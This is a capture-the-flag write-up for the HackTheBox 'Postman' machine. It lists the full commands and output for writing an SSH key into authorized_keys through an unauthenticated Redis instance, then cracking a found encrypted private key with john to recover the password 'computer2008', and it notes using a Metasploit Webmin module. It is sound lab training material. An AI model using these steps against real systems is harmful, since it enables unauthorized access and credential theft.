The initial nmap scan for the HackTheBox machine “Postman” revealed a few open ports:
# Nmap 7.80 scan initiated Sun Nov 3 14:41:26 2019 as: nmap -p- -o nmap_full 10.10.10.160 Nmap scan report for 10.10.10.160 Host is up (0.045s latency). Not shown: 65531 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 6379/tcp open redis 10000/tcp open snet-sensor-mgmt
The website on port 80 showed nothing of interest for us. On port 10000 there was a Webmin instance running in version 1.910. There are exploits for that version, but the unauthenticated exploit didn’t work since the password change feature was disabled and the remaining exploit required authentication.
That leaves the open Redis port 6379. There is a common way to escalate to a shell using Redis. Basically we write our SSH public key into a Redis key, then set the Redis directory to the .ssh folder of a user, change the database file name to authorized_keys and force Redis to write that file.
We’ll do just that:
# cat foo.txt
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCfPFneogPBvgeGccPGx9v0rz8sj6Gp7KaGNRocDfqNuSf5V0rB20AW0SNQh0UQRMb1QitaOub5ajwrtcHPckuY9WyhW76wIsXtxK5agOZuoj5BGOPLmXG7zVEBMLQ9BtnDzvTMM7RolR1Mp+VMZuj2ZOdtI4TgqZ0A8rVkXIGtQrntMQz1KBubnEHe5p30TrJMExeymZ3ZiIyQPFV/CxCayq8JJ4E+sIrLU8KxWH5QB5TRqtZTgjjzOn93ugXeNiMjTjzZCa5CcnCjXBiF5NkI6huCsg6GxuGEHdCLVeDwt8t75zV5cW1dDAt9EYaLB36grfMfkGZW8aIAZe5ClqQH root@kali
# cat foo.txt | redis-cli -h 10.10.10.160 -x set crackit
OK
# redis-cli -h 10.10.10.160
10.10.10.160:6379> config set dir /var/lib/redis/.ssh
OK
10.10.10.160:6379> config set dbfilename "authorized_keys"
OK
10.10.10.160:6379> save
OK
10.10.10.160:6379> exit
# ssh redis@10.10.10.160
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
Last login: Mon Aug 26 03:04:25 2019 from 10.10.10.1
redis@Postman:~$ id
uid=107(redis) gid=114(redis) groups=114(redis)
There are two important things here to mention. First, the public key that we prepared to pipe into redis-cli is surrounded by a couple of newlines. If they are missing the SSH server will not be able to find our public key in the file since Redis will write some binary data to the beginning of the line.
And second, the folder /var/lib/redis/.ssh had to be guessed. This can be looked up by installing the Redis service on a local machine and figuring out what is set as the default home for this user.
This is still a rather constructed scenario since the .ssh folder would normally not exist and the redis user would not have a valid login shell set.
Now we have a low privileged shell on the system. There is only one other user on the system, “Matt”. Searching for files owned by this user on the system we find this:
redis@Postman:~$ find / -uid 1000 2>/dev/null /opt/id_rsa.bak /home/Matt /home/Matt/.bashrc /home/Matt/.bash_history /home/Matt/.gnupg /home/Matt/.ssh /home/Matt/user.txt /home/Matt/.selected_editor /home/Matt/.local /home/Matt/.local/share /home/Matt/.profile /home/Matt/.cache /home/Matt/.wget-hsts /home/Matt/.bash_logout /var/www/SimpleHTTPPutServer.py
The first hit looks interesting. A SSH private key backup file, which is readable by us. But it is encrypted. We copy it locally to our attacking Kali and brute-force the password:
# /usr/share/john/ssh2john.py id_rsa.bak > mattkey # john --wordlist=/usr/share/wordlists/rockyou.txt mattkey Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 2 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status computer2008 (id_rsa.bak)
We now have the password, but connecting via SSH using this key still fails. Checking on the server with our low privilege shell we can find the following setting in /etc/ssh/sshd_config:
#deny users DenyUsers Matt
We can’t get around that. But we now have valid credentials. First off we can simply run su - Matt and supply the password to get the user shell. But also these credentials can be used on the Webmin interface at https://10.10.10.160:10000. Now we can use the Webmin exploit which requires authentication first. There is a metasploit module for that, so we’ll just use that:
And with that we get both flags.